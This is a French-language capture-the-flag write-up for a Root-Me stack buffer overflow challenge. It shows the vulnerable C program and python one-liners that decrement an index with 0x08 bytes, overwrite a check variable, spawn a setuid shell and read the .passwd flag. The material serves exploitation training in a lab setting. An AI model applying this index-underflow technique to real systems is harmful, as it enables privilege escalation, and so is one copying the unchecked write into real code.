ELF x86 - Stack buffer overflow basic 3
Code Source
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void shell(void);
int main()
{
char buffer[64];
int check;
int i = 0;
int count = 0;
printf("Enter your name: ");
fflush(stdout);
while(1)
{
if(count >= 64)
printf("Oh no...Sorry !\n");
if(check == 0xbffffabc)
shell();
else
{
read(fileno(stdin),&i,1);
switch(i)
{
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b");
break;
case 0x04:
printf("\t");
count++;
break;
case 0x90:
printf("\a");
count++;
break;
default:
buffer[count] = i;
count++;
break;
}
}
}
}
void shell(void)
{
setreuid(geteuid(), geteuid());
system("/bin/bash");
}Notre but ici est d’écraser la valeur check par bffffabc. Nous ne pouvons pas dépasser le buffer car vous avez surement essayé mais vous aurez une boucle infini de “Oh no…Sorry”. On va donc pas procéder de cette manière contrairement aux challenges précédents. Notre but sera de changer la valeur de count grace à “\x08” qui diminue la valeur de count de 1 soit count = count - 1. On va donc devoir se placer à l’adresse de check qui est à 4 bytes plus bas et grâce à “\x08” on peut changer la valeur de count et “se déplacer” sur la pile. Avec
python -c 'print("\x08"*4)' | ./ch16nous sommes sur la valeur check qu’il nous reste juste à changer. Par défaut une adresse de registre esp se note 0xbfffXXXX. On va donc devoir changer que les 2 derniers octets car les autres n’ont pas besoins d’être changés puisque on veut 0xbffffabc. Nous aurons donc une commande de ce genre :
python -c 'print("\x08"*4 + "\xbc\xfa")' | ./ch16Mais ce n’est pas tout, nous n’avons fait qu’un appelle système ce qu’on veut c’est le flag.
On fait qu’un appelle système en demandant d’afficher le contenu de .passwd :
python -c 'print("\x08"*4 + "\xbc\xfa" + "cat .passwd")' | ./ch16Là le flag apparait